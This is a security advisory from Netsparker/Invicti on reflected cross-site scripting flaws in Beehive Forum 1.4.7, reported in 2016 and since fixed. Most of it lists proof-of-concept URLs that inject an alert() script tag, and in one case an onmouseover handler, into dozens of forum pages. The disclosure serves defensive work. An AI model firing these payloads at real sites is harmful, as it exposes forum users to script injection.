Multiple Reflected Cross-site Scripting Vulnerabilities in Beehive Forum 1.4.7

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Beehive Forum
Affected Software: Beehive Forum
Affected Versions: 1.4.7
Vendor Homepage: https://www.beehiveforum.co.uk 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-013

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Beehive Forum;

URL: /beehive/search.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/threads_rss.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/create_poll.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/discussion.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/display_emoticons.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/email.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/folder_options.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/forgot_pw.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/forums.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/index.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lforums.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/links.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/links_add.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lmessages.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/logon.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lpm.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lpost.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lregister.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lsearch.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/lthread_list.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/messages.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/nav.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/pm.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/post.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/start.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/start_main.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/thread_list.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/thread_options.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/user.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/user_font.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/user_profile.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/user_rel.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/user_stats.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/visitor_log.php/"%20/><scRipt>alert(80x00046E)</scRipt></scRipt>
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

URL: /beehive/llogon.php/"onmouseover="alert(0x000844)"
Parameter Name: webtag
Parameter Type: GET
Attack Pattern: %20/><scRipt>alert(80x00046E)</scRipt></scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

21 Jul 2016 – Issue reported
24 Aug 2016 – Issue fixed

Solution

Patch released by Beehive Forum and announced here.

Credits & Authors

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.